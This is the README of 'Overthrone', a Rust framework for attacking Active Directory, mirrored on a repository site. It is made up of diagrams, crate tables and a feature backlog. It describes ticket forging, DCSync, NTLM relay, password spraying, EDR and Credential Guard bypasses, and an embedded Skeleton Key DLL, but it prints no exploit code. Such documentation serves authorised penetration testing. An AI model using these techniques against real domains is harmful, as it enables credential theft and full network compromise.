Overthrone

KO | EN

gitlite — search

#javascript #hacktoberfest #ai #typescript #golang #android #machine-learning #rust #deep-learning #linux #macos #nodejs #awesome #awesome-list

(★ 17)

**(WIP)** Overthrone - The First All-Rust Active Directory exploitation framework. A single static binary that takes you from network access to Domain Admin to finished report - zero external dependencies, pure native protocol implementations, full kill-chain. No Python. No .NET. No mercy.

Overthrone Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

<h1 align="center">Overthrone</h1>

Active Directory Exploitation Framework. 
 Every throne falls. Overthrone makes sure of it.

***

<a href="#what-is-this">What is this</a> &nbsp;·&nbsp;
 <a href="#installation">Install</a> &nbsp;·&nbsp;
 <a href="#wordlists">Wordlists</a> &nbsp;·&nbsp;
 <a href="#commands">Commands</a> &nbsp;·&nbsp;
 <a href="#usage">Wizard Usage</a> &nbsp;·&nbsp;
 <a href="#architecture">Architecture</a> &nbsp;·&nbsp;
 <a href="#features">Features</a> &nbsp;·&nbsp;
 <a href="#examples">Examples</a> &nbsp;·&nbsp;
 <a href="#faq">FAQ</a>

***

## What is this?

You know how in medieval warfare, taking a castle required siege engineers, scouts, cavalry, archers, sappers, and someone to open the gate from inside? Active Directory pentesting is exactly that, except the castle is a Fortune 500 company, the gate is a misconfigured Group Policy, and the "someone inside" is a service account with `Password123!` that hasn't been rotated since Windows Server 2008 was considered modern.

Overthrone is a full-spectrum AD red team framework that handles the entire kill chain - from "I have network access and a dream" to "I own every domain in this forest and here's a 47-page PDF proving it." Built in Rust because C2 frameworks deserve memory safety too, and because debugging use-after-free bugs during an engagement is how you develop trust issues (both the Active Directory kind and the personal kind).

This is not a scanner. This is not a "run Mimikatz but in Rust" tool. This is not another Python wrapper that breaks when you look at it funny. This is the whole siege engine. One binary. Minimal runtime dependencies\*. All regret (for the blue team).

> **Shorthand:** Every command works with both `overthrone` and `ovt`. Because life is too short to type 10 characters when 3 will do. `ovt wizard` = `overthrone wizard`. Same war crimes against Active Directory, fewer keystrokes.

> **⚠️ Deprecation notice:** The `ovt auto-pwn` command from earlier betas has been **removed** and replaced by `ovt wizard`. If your muscle memory still types `auto-pwn`, don't worry - your fingers will adapt. The wizard is what auto-pwn always wanted to be when it grew up: interactive, resumable, Q-learning-optimized, and with per-stage pause/approve so you don't accidentally DCSync during a demo.

\*The binary is statically linked with ~35 Rust crates (Tokio, ldap3, kerberos\_asn1, etc.) - no Python, no .NET, no JVM. On Linux you need `smbclient` for some legacy SMB paths; most features use the built-in pure-Rust SMB2 client.

### The Kill Chain

```mermaid
sequenceDiagram
    participant Op as Operator
    participant CLI as overthrone-cli
    participant PILOT as overthrone-pilot
    participant REAPER as overthrone-reaper
    participant HUNTER as overthrone-hunter
    participant FORGE as overthrone-forge
    participant CORE as overthrone-core
    participant DC as Domain Controller

Note over Op,DC: Phase 0: Initial Access (T1078)
    Op->>CLI: ovt enum / scan / kerberos commands
    CLI->>CORE: TCP/TLS connect to target

Note over CLI,DC: Phase 1: Discovery & Enumeration (T1087, T1069, T1482)
 CLI->>REAPER: enum_all(target, domain, credentials)
 REAPER->>CORE: LDAP bind + paginated search
 CORE->>DC: LDAP query (port 389/636)
 DC-->>CORE: RootDSE + namingContexts
 CORE->>DC: Search base DN: users, groups, computers
 DC-->>CORE: LDAP entries with attributes
 CORE-->>REAPER: Structured ADData
 Note over REAPER: Enrich: LAPS v1/v2 decrypt, GPP decrypt, Snaffler share crawl, ADCS template scan
 REAPER-->>CLI: ADData { users, groups, trusts, ACLs, GPOs, LAPS, SPNs, delegations }

Note over CLI,DC: Phase 2: Attack Graph Analysis (TA0007)
 CLI->>CORE: build_graph(ADData)
 CORE->>CORE: petgraph DiGraph construction 30+ edge types with weighted costs
 CORE->>CORE: Reverse Dijkstra from Domain Admins
 CORE-->>CLI: AttackGraph + shortest paths to goal
 Note over CLI: Output: Path from current position to DA, broken down hop-by-hop with technique

Note over CLI,DC: Phase 3: Credential Access (T1558, T1110)
 CLI->>HUNTER: kerberoast(SPN accounts)
 HUNTER->>CORE: TGS-REQ for each SPN
 CORE->>DC: TCP:88 → Kerberos TGS exchange
 DC-->>CORE: TGS-REP with encrypted ticket
 CORE-->>HUNTER: ServiceTicket hash (etype 17/18/23)
 HUNTER->>HUNTER: Offline crack: embedded wordlist + rayon parallel + rule engine
 HUNTER-->>CLI: CrackedCredentials

CLI->>HUNTER: password_spray(userlist, candidates)
    HUNTER->>CORE: Kerberos AS-REQ for each user
    CORE->>DC: pre-auth attempt (TCP:88)
    DC-->>CORE: KDC error or success
    CORE-->>HUNTER: SprayResult { valid, locked, exists }
    HUNTER-->>CLI: SprayResults with lockout-safe delay

Note over CLI,DC: Phase 4: Lateral Movement (T1550, T1021)
    CLI->>CORE: exec(target, command, method)
    CORE->>DC: Method: PsExec → SVCCTL named pipe
    CORE->>DC: Method: SmbExec → SCM over SMB
    CORE->>DC: Method: WinRM → WSMan HTTP/5985
    CORE->>DC: Method: WmiExec → DCOM (Windows only)
    DC-->>CORE: Command output (stdout/stderr)
    CORE-->>CLI: ExecResult { output, pid, exit_code }

Note over CLI,DC: Phase 5: Persistence & Privilege Escalation (T1098, T1556)
    CLI->>FORGE: forge_golden_ticket(krbtgt_hash, domain_sid)
    FORGE->>CORE: Build PAC with KERB_VALIDATION_INFO
    CORE->>CORE: Encrypt with krbtgt key (AES256/RC4)
    FORGE-->>CLI: GoldenTicket .kirbi / .ccache

CLI->>FORGE: forge_diamond_ticket(legitimate_tgt)
    CLI->>FORGE: forge_silver_ticket(service_hash)
    CLI->>FORGE: dcsync(krbtgt) → MS-DRSR replication
    CORE->>DC: DRSGetNCChanges named pipe
    DC-->>CORE: Replication data with all hashes

Note over CLI,DC: Phase 6: Reporting (TA0043)
 CLI->>REAPER: collect_all_findings()
 REAPER-->>CLI: EngagementSession
 CLI->>FORGE: attach_forge_results(session)
 CLI->>HUNTER: attach_hunt_results(session)
 CLI->>CORE: generate_report(session, format)
 Note over CLI: Output: markdown / JSON / PDF with MITRE ATT&CK mapping, credential tables, remediation guide

CLI-->>Op: Domain owned. Full report generated.
```

## Architecture

Overthrone is organized as a five-layer security architecture. Each layer has a specific responsibility, and data flows strictly between adjacent layers. This separation ensures that protocol logic, attack execution, and user interfaces remain independently testable and replaceable.

```
OPERATOR LAYER    : CLI, TUI, REPL, Web GUI
ORCHESTRATION     : Wizard, Session management, Q-Learning advisor
CAPABILITY LAYER  : Enumeration, Attack, Relay, Forge, Crawl, Report
CORE ENGINE       : Protocols, Crypto, Graph, Post-exploitation, C2, Plugins
TARGET LAYER      : Domain Controllers, ADCS, Exchange, Azure AD
```

```mermaid
flowchart TB
    %% ── Professional color palette ──
    classDef operator fill:#4338ca,color:#fff,stroke:#3730a3,stroke-width:2px,rx:6px,ry:6px
    classDef orchestrator fill:#7c3aed,color:#fff,stroke:#6d28d9,stroke-width:2px,rx:6px,ry:6px
    classDef capability fill:#0891b2,color:#fff,stroke:#0e7490,stroke-width:2px,rx:6px,ry:6px
    classDef core fill:#dc2626,color:#fff,stroke:#b91c1c,stroke-width:3px,rx:8px,ry:8px
    classDef target fill:#475569,color:#fff,stroke:#334155,stroke-width:2px,stroke-dasharray:6 4,rx:6px,ry:6px
    classDef layerLabel fill:transparent,color:#94a3b8,font-size:11px,font-weight:bold

%% ── Layer 5: Operator Interface ──
    L5["LAYER 5: OPERATOR INTERFACE"]:::layerLabel

subgraph OperatorInterface[" "]
 direction TB
 CLI["overthrone-cli CLI Parser (clap) • TUI (ratatui) • REPL (rustyline) Config (TOML/XDG) • Profiles • Session mgmt Doctor • Completions"]
 VIEWER["overthrone-viewer Web GUI (Axum + Three.js) Graph visualization • Path finder Auth • CSRF • Rate limiting • mTLS"]
 end
 class CLI,VIEWER operator

%% ── Layer 4: Orchestration ──
    L4["LAYER 4: ORCHESTRATION"]:::layerLabel

subgraph OrchestrationLayer[" "]
 PILOT["overthrone-pilot Wizard-guided workflow • Session lifecycle Hostile-DC detection (5 checks) Q-Learning advisor (optional) State persistence & resume"]
 end
 class PILOT orchestrator

%% ── Layer 3: Capabilities ──
    L3["LAYER 3: ATTACK CAPABILITIES"]:::layerLabel

subgraph CapabilityLayer[" "]
 direction TB
 REAPER["overthrone-reaper LDAP enum • LAPS v1/v2 • GPP decrypt Snaffler share crawl • ADCS template scan BloodHound JSON export • BH edge coverage NTLM→TGT pipeline • NTLMv1 detection"]
 CRAWLER["overthrone-crawler Cross-domain trust mapping • Foreign LDAP MSSQL linked server crawl • SID filter analysis Port rotation • JA3/JA4 fingerprint • OPLOCK Responder integration"]
 HUNTER["overthrone-hunter Kerberoast • AS-REP roast • User enum (zero-KB) Auth coercion (5 techniques) • RBCD abuse Delegation chains • Hash cracking (rayon)"]
 RELAY["overthrone-relay NTLM relay engine (SMB↔LDAP↔HTTP) HTTP→SMB asymmetric • IPv6 dual-stack mTLS/TLS verification • SOCKS5 proxy LDAP signing bypass • DCE/RPC strip Auto-coercion • LLMNR/NBT-NS/mDNS poison"]
 FORGE["overthrone-forge Golden/Silver/Diamond/Sapphire tickets Enhanced Diamond • Bronze Bit (CVE-2020-17049) ADCS dispatcher (ESC1-9) • DCSync Shadow Credentials • ACL backdoors S4U2Self+PKINIT • Inter-realm TGT MS-WCCE DCOM • Skeleton Key 17 ForgeAction variants"]
 SCRIBE["overthrone-scribe Markdown reports • PDF generation JSON export • MITRE ATT&CK mapping Timeline view • Evidence hashing (SHA-256) Operator attribution • Remediation guide"]
 end
 class REAPER,CRAWLER,HUNTER,RELAY,FORGE,SCRIBE capability

%% ── Layer 2: Core Engine ──
    L2["LAYER 2: CORE PROTOCOL ENGINE"]:::layerLabel

subgraph CoreLayer[" "]
 CORE["overthrone-core Protocols: LDAP/LDAPS • Kerberos (TGT/TGS/FAST/PKINIT) • SMB2/3 NTLM (hash/MIC strip/DCE strip) • MS-DRSR (DCSync) • MSSQL/TDS DNS (SRV resolution) • Remote Registry • MS-SAMR (RID cycling) Crypto: AES-CTS (etype 17/18) • RC4 (etype 23) • HMAC • MD4 DPAPI (LAPS v2) • GPP (cpassword) • Cracker (embedded/hashcat) Post-Ex: EDR bypass (ntdll unhook/ETW kill/syscall/masking) Credential Guard bypass (3-tier: ALPC/memory/WDigest) DPAPI masterkey extraction • File-format carver (docx/xlsx) Raw syscalls (core::arch::asm!) • Skeleton Key DLL injection Attack Graph: petgraph DiGraph • 30+ BH edge types Dijkstra pathfinding • High-value target identification C2: Sliver (mTLS) • Havoc (REST) • Cobalt Strike (Aggressor) Plugins: Native DLL (libloading) • WASM (wasmtime)"]
 end
 class CORE core

%% ── Layer 1: Target Systems ──
    L1["LAYER 1: TARGET SYSTEMS"]:::layerLabel

subgraph TargetLayer[" "]
 DC["Domain Controller LDAP:389/636 • Kerberos:88 SMB:445 • MS-DRSR named pipe"]
 ADCS["AD CS Server Web enrollment:443 ICertRequest DCOM • CES"]
 EXCHANGE["Exchange Server MAPI-over-HTTP • EWS OAB • ActiveSync"]
 AZURE["Azure AD / Entra ID MS Graph API • Device code Managed Identity • App Reg"]
 end
 class DC,ADCS,EXCHANGE,AZURE target

%% ── Layer 5 → Layer 4 flow ──
    CLI -.->|config/target/creds| PILOT
    VIEWER -.->|graph query| PILOT

%% Apply styles
    class L5,L4,L3,L2,L1 layerLabel
```

## The Crate Breakdown

Here's what's inside the box. Every module. Every protocol. Every hilarious amount of Rust the borrow checker screamed at us about. The table below is the **complete inventory** of what each crate actually does - no marketing fluff, no "coming soon" handwaving.

| Crate | Codename | What It Does | The Implementation |
|---|---|---|---|
| `overthrone-core` | The Absolute Unit | Protocol engine (LDAP, Kerberos, SMB, NTLM, MS-DRSR, MSSQL, DNS, Registry, PKINIT), attack graph with Dijkstra pathfinding, port scanner, full ADCS exploitation (ESC1-ESC16), crypto primitives (AES-CTS, RC4, HMAC, MD4, DPAPI, ticket crypto, GPP decryption), C2 integration (Sliver, Havoc, Cobalt Strike), plugin system (native DLL + WASM via wasmtime), remote execution (PsExec, SmbExec, WmiExec, WinRM, AtExec), interactive shell abstraction, secretsdump, RID cycling, **EDR evasion (ntdll unhooking, ETW abolition, sleep masking, syscall resurrection), Credential Guard bypass (3-tier: ALPC/process-memory/WDigest), DPAPI masterkey extraction, file-format carver (docx/xlsx/etc), raw asm! syscalls with DynamicSyscallStub, SMB OPLOCK hijacking, Azure AD / Entra ID hybrid attack depth (8 ops), EPM pipe resolution (resolve_uuid_via_epm_pipe), Authenticated EPM TCP (resolve_uuid_via_epm_tcp_auth)** | The absolute unit that ate the gym, then built a home gym, then ate that too. Every protocol is real. 821 tests. Credential Guard bypass now has 3 tiers because one wasn't enough. DPAPI extraction, file carver, OPLOCK, EPM pipe resolution, and authenticated EPM TCP joined the party. The borrow checker needed therapy. Multiple sessions. |
| `overthrone-reaper` | The Collector | AD enumeration - users, groups, computers, ACLs, delegations, GPOs, OUs, SPNs, trusts, LAPS (v1 + v2), GPP password decryption, **Snaffler module (configurable share crawling with pattern matching, 23 tests)**, **LAPS/gMSA-specific enumeration (276 lines, 12 tests)**, MSSQL instances, ADCS template enumeration, BloodHound JSON export, CSV export, **NTLM-to-TGT pipeline, NTLMv1 detection, full BH edge-type coverage (19 new variants)** | BloodHound's data collection arc but without Neo4j eating 4GB of RAM. Snaffler module audited and fixed. LAPS/gMSA purpose-built. NTLM hashes go straight to TGTs now. 202 tests. The Collector became a curator. |
| `overthrone-hunter` | The Overachiever | Kerberoasting, AS-REP roasting, zero-knowledge username enumeration via Kerberos AS-REQ, auth coercion (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MS-EFSRPC), RBCD abuse, constrained/unconstrained delegation exploitation, ticket manipulation (.kirbi/.ccache conversion), inline hash cracking with embedded wordlist + rayon parallelism, **auto-crack loop, delegation chain automation (628 lines), ACL reasoning (439 lines), machine account harvesting (328 lines), smart wordlists (374 lines), NTLMv1 downgrade roast (496 lines), relay hash extraction (588 lines)** | The crate that did all its homework, extra credit, and the teacher's homework too. 76 tests. Zero stubs. Zero placeholders. Every attack works. This crate graduated top of its class, got a PhD, and came back to teach the other crates. |
| `overthrone-crawler` | The Explorer | Cross-domain trust mapping, inter-realm TGT forging, SID filter analysis, PAM trust detection, MSSQL linked server crawling, foreign trust LDAP enumeration (users, groups, computers, SPNs, ACLs across trust boundaries), cross-domain escalation planning, **TCP source-port rotation (PortRotator, 12 tests), JA3/JA4 TLS fingerprint randomization (9 tests), SMB OPLOCK hijacking (3 tests), Responder integration (CrawlerResponder, 9 tests)** | Used to have 5 functions that all returned "not implemented." Now `foreign.rs` is 25KB of real cross-trust LDAP queries, AND the missing gaps got filled. Source-port rotation, JA3/JA4, OPLOCK, and Responder all done. 121 tests. ALL GAPS CLOSED. |
| `overthrone-forge` | The Blacksmith | Golden/Silver/Diamond/Sapphire ticket forging with full PAC construction, Enhanced Diamond (KDC checksum preservation), Bronze Bit (CVE-2020-17049), DCSync per-user extraction via MS-DRSR, Shadow Credentials (msDS-KeyCredentialLink + PKINIT auth), ACL backdoors via DACL modification, Skeleton Key orchestration via SMB/SVCCTL/PKINIT, DSRM backdoor via remote registry, forensic cleanup, **ADCS Dispatcher (ESC1-9 orchestration, 1,147 lines, 9 tests), S4U2Self with PKINIT chain, AS-REP-to-TGT pipeline, PKINIT-keyed InterRealmTgt + SkeletonKey, MS-WCCE DCOM (30 tests)** | Golden Tickets? Forged. Silver? Minted. Diamond? Polished. Sapphire? Cut. Bronze Bit? Bent. ADCS dispatcher orchestrates ESC1-9 automatically. PKINIT-keyed everything. S4U2Self with certificates. MS-WCCE DCOM direct enrollment. 17 ForgeAction variants. 103 tests. The forge is now a factory. |
| `overthrone-pilot` | The Strategist | Autonomous attack planning from graph data, step-by-step execution with rollback, adaptive strategy, Q-Learning RL engine (compiled by default), goal-based planning, YAML playbook engine, interactive wizard mode (`ovt wizard`), full kill-chain orchestration, live pipeline visualization, per-step Q-state/decision/reward readout, 9-section final report, **Hostile-DC detection (dc_verify.rs, 5 checks), Session management CLI (ovt session, 7 actions, 12 tests), WizardSession::new_with_state() for skip-Enumerate resume, Coercion cred passthrough** | The "hold my beer" engine. Now with session management - list/show/info/delete/clean/path/stats. Hostile-DC detection keeps you from trusting the enemy. `new_with_state()` skips enumeration on resume. 105 tests. Plans, adapts, executes, explains itself, cleans up, and files your paperwork. All without ever mentioning the words "auto-pwn." |
| `overthrone-relay` | The Interceptor | NTLM relay engine (SMB->LDAP, HTTP->SMB, mix and match), LLMNR/NBT-NS/mDNS poisoner, network poisoner with stealth controls, ADCS-specific relay (ESC8), Exchange relay (CVE-2024-21410 with EPA bypass), SMB signing awareness (pre-flight check), LDAP signing bypass (CVE-2019-1040 Drop the MIC), **HTTP->SMB asymmetric relay (360 lines, 13 tests), IPv6 transport (16 tests), mTLS/TLS verification mode (TlsVerificationMode, 22 tests), Channel binding validation (CbtMode), Auto-trigger coercion with CoerceCreds + ShadowCoerce, DCE/RPC signature stripping, SOCKS5 proxy output** | Born complete. Stayed complete. Added HTTP->SMB asymmetric relay, IPv6, mTLS verification, auto-coercion, DCE/RPC stripping, and SOCKS5 just because. 165 tests. Responder.py walked so this crate could sprint, then it learned to fly, then it built an airplane. |
| `overthrone-scribe` | The Chronicler | Report generation - Markdown, JSON, PDF. MITRE ATT&CK mapping, mitigation recommendations, attack narrative prose, session recording, **timeline view, evidence hashing (sha256), operator attribution (OperatorMetadata), findings-population path (auto_generate_findings made pub)** | Turns "I hacked everything" into "here's why you should pay us." All three formats work. PDF renders actual content. Timeline view, evidence integrity, and operator attribution added. 54 tests. The paperwork is immaculate. |
| `overthrone-cli` | The Interface | CLI binary with Clap subcommands, interactive REPL shell with rustyline (command completion, history, context-aware prompts, 3,263 lines), TUI with ratatui (live attack graph visualization, local BloodHound JSON viewer, session panels, logs, crawler integration), wizard mode, doctor command, C2 implant deploy, PDF/Markdown/JSON report output, **Config file loading (TOML XDG-style, 1,111 lines, 39 tests), Profile system (9 subcommands, 31 tests, OT_CONFIG/OT_PROFILE env), Session management subcommand (7 actions), --dry-run, --output-format json, --downgrade-rc4 flag** | The interactive shell alone is 3,263 lines. Config system with TOML + XDG + env vars. Profile system for named configurations. Session subcommand. 6 TUI modules. Zero `unreachable!()` calls. The banner ASCII art is still *chef's kiss*. `auto-pwn` command graduated to `ovt wizard`. Same kill chain, fewer edge cases. |
| `overthrone-viewer` | The Window | Browser-based graph GUI served locally. D3.js migrated to Three.js (GPU-accelerated WebGL). Node search, path finder, detail panels with ACE/ACL guidance, stats, blank-first search/chunk render with render budgets (50-ALL). mTLS client cert support. Multi-user sessions with per-user rate limits. CSRF middleware. Auth always-on. Random credentials default. Non-loopback TLS enforcement. | When you want BloodHound vibes in a browser tab, but with GPU acceleration and no Neo4j. Three.js migration gave it superpowers. Auth, rate limits, mTLS, and CSRF make it production-safe. 31 tests. No WebSocket yet (you still have to refresh), but everything else is there. |

### The Crate Report Card

These are real numbers from `cargo test --workspace --lib`. No rounding up.

```
overthrone-core     ████████████████████░  99%  856 tests. EDR evasion (ntdll unhooking, ETW abolition, sleep
                                                     masking, syscall resurrection), Credential Guard multi-signal
                                                     detection (3-tier: ALPC/process-memory/WDigest), DPAPI extraction,
                                                     file carver, Azure AD ops (8 total), SMB OPLOCK. Still hungry.

overthrone-reaper   ████████████████████░  99%  243 tests. Snaffler audit done (SnafflerConfig, CSV export, 23
                                                     tests). LAPS/gMSA enumeration purpose-built (276 lines, 12 tests).
                                                     NTLM->TGT pipeline, GPP full, BH edge coverage, NTLMv1 detection.

overthrone-hunter   █████████████████████  100%  76 tests. All 8 modules complete. Auto-crack, delegation chains,
                                                     ACL reasoning, machine harvesting, smart wordlists, NTLMv1 downgrade,
                                                     relay hash extraction. The overachiever.

overthrone-crawler  █████████████████████  100%  121 tests. ALL gaps closed: TCP source-port rotation (PortRotator,
                                                     12 tests), JA3/JA4 TLS fingerprint randomization (9 tests), SMB
                                                     OPLOCK hijacking (3 tests), Responder integration (9 tests).

overthrone-forge    ████████████████████░  99%  107 tests. ADCS dispatcher (1,147 lines, ESC1-9 orchestration, 9
                                                     tests). PKINIT-keyed golden/silver/diamond/interrealm/skeleton.
                                                     S4U2Self with PKINIT chain. AS-REP->TGT pipeline. MS-WCCE DCOM (30
                                                     tests). 17 ForgeAction variants.

overthrone-pilot    ████████████████████░  99%  110 tests. Session management CLI (ovt session, 7 actions, 12
                                                     tests). WizardSession::new_with_state() for resume. Hostile-DC
                                                     detection (dc_verify.rs, 5 checks). Q-learner with policy/lockout
                                                     awareness.

overthrone-relay    █████████████████████  100%  225 tests. HTTP->SMB asymmetric relay (13 tests). IPv6 transport
                                                     (16 tests). mTLS/TLS verification mode (22 tests). Channel binding
                                                     validation. Auto-trigger coercion with Creds passthrough +
                                                     ShadowCoerce. Exchange relay (CVE-2024-21410, EPA bypass).
                                                     DCE/RPC signature stripping. Born complete. Still complete.

overthrone-scribe   ████████████████████░  99%  73 tests. HTML report format, timeline view, evidence hashing,
                                                     operator attribution, findings-population path. PDF, Markdown, JSON
                                                     all wired to CLI.

overthrone-cli      ████████████████████░  98%  6,333+ lines. Config file loading (TOML, XDG-style, 39 tests).
                                                     Profile system (9 subcommands, 31 tests). Interactive shell REPL
                                                     (3,263 lines, rustyline). TUI with 6 modules. Session subcommand
                                                     (7 actions). --help doesn't lie anymore.

overthrone-viewer   ████████████████████░  99%  34 tests. Browser-based graph GUI with Three.js GPU acceleration.
                                                     Node search, path finder, detail panels. mTLS, auth, CSRF,
                                                     rate limiting. Non-loopback TLS enforcement.
```

## What's Still Cooking (The Backlog)

Every project has a backlog. Ours just got a whole lot smaller. Split into two honest tables: what's shipped, and what's genuinely still on the stove. No marketing spin. The shipped table is longer. We're proud.

### ✅ Shipped - Graduated from Backlog

The items below used to be `todo!()`. They are now real code. Some of them took longer than we'd like to admit. All of them work.

| What | Where | Notes |
|---|---|---|
| **SMB2 packet signing** | `core/src/proto/smb2.rs` | HMAC-SHA256 over every post-session-setup packet. `sign_required` negotiated from server SecurityMode. 9 call sites updated. The packets are wearing seatbelts now. |
| **Kerberos SPNEGO auth** | `core/src/proto/smb2.rs`, `kerberos.rs` | Proper AP-REQ wrapped in SPNEGO NegTokenInit. `connect_with_ticket()` on Linux no longer falls back to a broken NTLM hash. Real Kerberos or nothing. |
| **Cross-domain TGT referral** | `core/src/proto/kerberos.rs` | 2-hop referral loop in `request_tgt()`. Follows `KDC_ERR_WRONG_REALM` redirects to the right KDC via DNS SRV. Cross-forest attacks no longer require manual realm wrangling. |
| **WmiExec Linux guard** | `core/src/exec/wmiexec.rs` | `#[cfg(not(windows))]` returns a clear error instead of silently failing or panicking. `auto_exec()` skips WmiExec entirely on Linux. Use PsExec. It's fine. |
| **Clock skew check in `ovt doctor`** | `cli/src/commands/doctor.rs` | Anonymous LDAP bind to RootDSE, reads `currentTime`, diffs against local clock. Fails loud if drift > 5 min (Kerberos will reject you before you even start). |
| **ADCS ESC1 + ESC6** | `core/src/adcs/esc{1,6}.rs` | Full exploiters - SAN UPN abuse, CSR, enrollment, hash extraction, EDITF flag abuse. |
| **LDAP signing bypass** | `relay/src/relay.rs` | CVE-2019-1040 "Drop the MIC" - strips SIGN/SEAL/ALWAYS_SIGN from CHALLENGE before victim sees it, zeroes MIC in AUTHENTICATE. Post-relay LDAP operations work on the relayed session. |
| **WASM plugin system** | `core/src/plugin/loader.rs` | State persistence, manifest section parsing, `allocate()` export support, `fn_free` fallback. WASM plugins have long-term memory now. |
| **CLI PDF + C2 + TUI wiring** | `cli/src/commands_impl.rs`, `tui/runner.rs` | PDF reports, C2 implant deploy, TUI crawler - all actually call real code now. |
| **WinRM Windows output** | `core/src/exec/winrm/windows.rs` | `WSManReceiveShellOutput` loop collects real output. |
| **Session resume + TOML config** | `cli/src/main.rs`, `pilot/src/runner.rs` | `--resume <file>` picks up mid-chain. `--config <file>` loads DC, domain, auth, stealth, jitter from TOML. |
| **Credential Vault** | `core/src/lib.rs` (`CredStore`) | Thread-safe, privilege-ranked (DA > EA > Local Admin > Service > User), surfaced in the final wizard report. |
| **OPSEC Noise Gate** | `pilot/src/runner.rs` | `--stealth` caps the noise budget at `Medium`. High/Critical-noise steps are skipped and logged. |
| **Skeleton Key native DLL** | `tools/skeleton_key/`, `core/src/postex/skeleton_key_dll.rs` | 92KB x64 MSVC-compiled DLL with `MsvpPasswordValidate` hook. Embedded as Rust const bytes. Exports: Enable/Disable/IsActive. |
| **EDR Evasion Module** | `core/src/postex/edr_bypass.rs` | 1,575-line next-gen stealth: EDR detection (22 vendors), ntdll unhooking, ETW abolition, syscall resurrection, sleep masking. |
| **Credential Guard Remote Detection** | `core/src/postex/cg_check.rs` | Multi-signal CG detection: SMB registry + WMI + LDAP + heuristic weighted voting. Windows-2025-aware. |
| **Azure AD / Entra ID Hybrid Operations** | `core/src/azure_ad.rs` | 8 total Azure AD attack operations including ManagedIdentityToken, EntraConnectExtract, AppRegistrationAbuse, DeviceCodePhish. |
| **Exchange NTLM Relay** | `relay/src/exchange.rs` | CVE-2024-21410: NTLM relay to MAPI-over-HTTP and EWS endpoints with EPA bypass. |
| **TCP source-port rotation** | `crawler/src/pacing.rs` | `PortRotator` with atomic round-robin, `connect_with_source_port()`, `connect_with_rotation()` fallback. No admin needed (ports >= 1024). 12 tests. |
| **JA3/JA4 TLS fingerprint randomization** | `crawler/src/tls_fingerprint.rs` | `TlsFingerprintConfig` with cipher/group randomization. Danger + verified config builders. Feature-gated. 9 tests. |
| **SMB OPLOCK hijacking** | `core/src/proto/smb2.rs`, `crawler/src/oplock.rs` | `create_with_oplock()`/`wait_for_oplock_break()`/`acknowledge_oplock_break()` in SMB2. `OplockConfig`/`OplockLevel`/`OplockSession` in crawler. |
| **Responder integration** | `crawler/src/responder.rs` | `CrawlerResponder` wraps relay Poisoner + Responder. CLI `--poison-ip`/`--respond` on `ovt move`. Feature-gated. 9 tests. |
| **Snaffler module audit** | `reaper/src/snaffler.rs` | `SnafflerConfig`, `SnaffleFinding`, CSV export, SMB error handling fixed, tests expanded 11->23. |
| **LAPS/gMSA enumeration** | `reaper/src/laps_gmsa.rs` | Purpose-built enumeration for LAPS passwords and gMSA account secrets. 276 lines, 12 tests. |
| **HTTP->SMB asymmetric relay** | `relay/src/http_asymmetric.rs` | Full HTTP request capture and replay. `CapturedHttpRequest`, `HttpAsymmetricRelay`. 13 tests. |
| **IPv6 transport** | `relay/src/utils.rs` | `bind_tcp_listener_async/sync` helpers, centralized `format_addr()`. 16 IPv6 tests. |
| **mTLS / TLS verification mode** | `relay/src/tls.rs` | `TlsVerificationMode` (AcceptAll/VerifyServerCert), `TlsConfig` struct, `--tls-verify` CLI flag on all relay subcommands. 22 tests. |
| **Auto-trigger coercion** | `relay/src/lib.rs` | `auto_coerce()` with `CoerceCreds` passthrough, ShadowCoerce (WebDAV), `wait_for_listener_ready()`. |
| **CLI config file loading** | `cli/src/cli_config.rs` | TOML XDG-style config, 1111 lines, 39 tests. `ovt config` subcommand with 8 actions. |
| **CLI profile system** | `cli/src/cli_config.rs` | Named profiles, `OT_CONFIG`/`OT_PROFILE` env support, 9 subcommands, 31 tests. |
| **Interactive shell (REPL)** | `cli/src/interactive_shell.rs` | 3263 lines, rustyline, tab completion, forge modules, WinRM/SMB/WMI shell types. |
| **Session management CLI** | `pilot/src/session.rs`, `cli/src/commands/session.rs` | `ovt session` with 7 actions (list/show/info/delete/clean/path/stats). `--from-session` wired to wizard. |
| **Sapphire Ticket** | `forge/src/sapphire.rs` | Legitimate TGT -> S4U2Self -> decrypt -> extract KDC-issued PAC -> forge new TGT with krbtgt encryption. |
| **Enhanced Diamond** | `forge/src/diamond.rs` | Parses legitimate PAC, preserves KDC checksum (type 7). KDC_ISSUED indicator survives. |
| **ADCS Dispatcher** | `forge/src/adcs_dispatcher.rs` | 1147 lines, ESC1-9 orchestration, Auto mode (ESC1->ESC6->ESC9). 9 tests. |
| **S4U2Self with PKINIT Chain** | `forge/src/s4u2self_pkinit.rs` | Certificate-based S4U2Self delegation. `ForgeAction::S4u2SelfPkinit`. |
| **AS-REP to TGT Pipeline** | `forge/src/runner.rs` | `ForgeAction::AsRepToTgt` takes cracked AS-REP passwords, requests real TGTs from KDC. |
| **PKINIT-keyed InterRealmTgt + SkeletonKey** | `forge/src/interrealm.rs`, `forge/src/skeleton.rs` | PKINIT session key as trust key for cross-realm TGT forging and SMB auth for skeleton key. |
| **MS-WCCE DCOM (ESC8)** | `forge/src/ms_wcce_dcom.rs` | Full DCOM activation path for ICertRequest remote enrollment. 30 tests. |
| **Credential Guard bypass** | `core/src/postex/lsaiso.rs` | 3-tier: ALPC -> process memory via raw syscalls -> WDigest fallback. 1762 lines, 25 tests. |
| **DPAPI masterkey extraction** | `core/src/postex/dpapi_extract.rs` | Masterkey decryption from lsass, offline decryption support. 447 lines, 21 tests. |
| **File-format-aware carver** | `core/src/postex/file_carver.rs` | Carves secrets from docx/xlsx/etc. 720 lines. |
| **DCE/RPC signature stripping** | `core/src/proto/ntlm.rs` | `strip_dce_rpc_signature` -- strips NTLM auth verifier from DCE/RPC request PDUs. 10 tests. |

### ⚠️ Still Pending

No sugarcoating. These are genuinely not done.

| What | Why It Matters | Status | Notes |
|---|---|---|---|
| **Live DC integration tests** | "It compiles" and "it works against a real DC" are two very different sentences. | ❌ Ongoing | 86+ techniques verified against GOAD-Light WS2025 (kingslanding.sevenkingdoms.local). Continually expanding coverage — see technique table below for detailed per-technique status. |
